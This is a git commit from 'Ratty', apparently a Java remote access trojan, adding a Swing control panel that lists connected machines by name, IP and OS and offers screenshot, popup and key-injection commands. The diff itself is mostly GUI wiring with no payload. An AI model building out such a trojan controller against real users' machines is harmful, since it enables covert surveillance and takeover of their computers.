Browse Source

Major changes

Different structure
Added GUI classes and basic user interface
master
Sogomn 9 years ago
parent
commit
7826369af0
  1. 28
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 7
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  3. 72
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  4. 11
      Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

28
Ratty/src/de/sogomn/rat/Ratty.java

@ -1,9 +1,16 @@
package de.sogomn.rat; package de.sogomn.rat;
import java.awt.Color;
import java.awt.event.KeyEvent; import java.awt.event.KeyEvent;
import javax.swing.UIDefaults;
import javax.swing.UIManager;
import javax.swing.plaf.nimbus.NimbusLookAndFeel;
import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.ServerGuiController;
public final class Ratty { public final class Ratty {
@ -14,6 +21,20 @@ public final class Ratty {
//... //...
} }
private static void setLookAndFeel() {
final NimbusLookAndFeel nimbus = new NimbusLookAndFeel();
final UIDefaults defaults = nimbus.getDefaults();
defaults.put("control", Color.LIGHT_GRAY);
defaults.put("nimbusBase", Color.LIGHT_GRAY);
try {
UIManager.setLookAndFeel(nimbus);
} catch (final Exception ex) {
ex.printStackTrace();
}
}
public static void connectToHost(final String address, final int port) { public static void connectToHost(final String address, final int port) {
final ActiveClient newClient = new ActiveClient(address, port); final ActiveClient newClient = new ActiveClient(address, port);
final Trojan trojan = new Trojan(); final Trojan trojan = new Trojan();
@ -32,11 +53,18 @@ public final class Ratty {
public static void startServer(final int port) { public static void startServer(final int port) {
final ActiveServer server = new ActiveServer(port); final ActiveServer server = new ActiveServer(port);
final RattyGui gui = new RattyGui();
final ServerGuiController controller = new ServerGuiController();
gui.setController(controller);
server.setObserver(controller);
server.start(); server.start();
} }
public static void main(final String[] args) { public static void main(final String[] args) {
setLookAndFeel();
if (CLIENT) { if (CLIENT) {
System.out.println("Starting client"); System.out.println("Starting client");

7
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -0,0 +1,7 @@
package de.sogomn.rat.server.gui;
public interface IGuiController {
void userInput(final String actionCommand);
}

72
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -0,0 +1,72 @@
package de.sogomn.rat.server.gui;
import java.awt.event.ActionEvent;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
public final class RattyGui {
private JFrame frame;
private JTable table;
private DefaultTableModel tableModel;
private JPopupMenu menu;
private IGuiController controller;
private static final String[] HEADERS = {
"Name",
"IP address",
"OS",
"Version"
};
public static final String POPUP = "Popup";
public static final String SCREENSHOT = "Screenshot";
public static final String KEY_EVENT = "Key event";
public static final String[] ACTION_COMMANDS = {POPUP, SCREENSHOT, KEY_EVENT};
public RattyGui() {
frame = new JFrame();
table = new JTable();
tableModel = (DefaultTableModel)table.getModel();
menu = new JPopupMenu();
for (final String command : ACTION_COMMANDS) {
final JMenuItem item = new JMenuItem(command);
item.addActionListener(this::actionPerformed);
menu.add(item);
}
tableModel.setColumnIdentifiers(HEADERS);
table.setEnabled(false);
table.setComponentPopupMenu(menu);
final JScrollPane scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setContentPane(scrollPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setVisible(true);
frame.requestFocus();
}
private void actionPerformed(final ActionEvent a) {
final String command = a.getActionCommand();
controller.userInput(command);
}
public void setController(final IGuiController controller) {
this.controller = controller;
}
}

11
Ratty/src/de/sogomn/rat/server/ServerGuiController.java → Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

@ -1,12 +1,14 @@
package de.sogomn.rat.server;
package de.sogomn.rat.server.gui;
import java.util.ArrayList; import java.util.ArrayList;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
public final class ServerGuiController implements IServerObserver, IClientObserver {
public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController {
private ArrayList<ActiveClient> clients; private ArrayList<ActiveClient> clients;
@ -38,4 +40,9 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
System.out.println("Server closed"); System.out.println("Server closed");
} }
@Override
public void userInput(final String actionCommand) {
System.out.println("User input: " + actionCommand);
}
} }
Loading…
Cancel
Save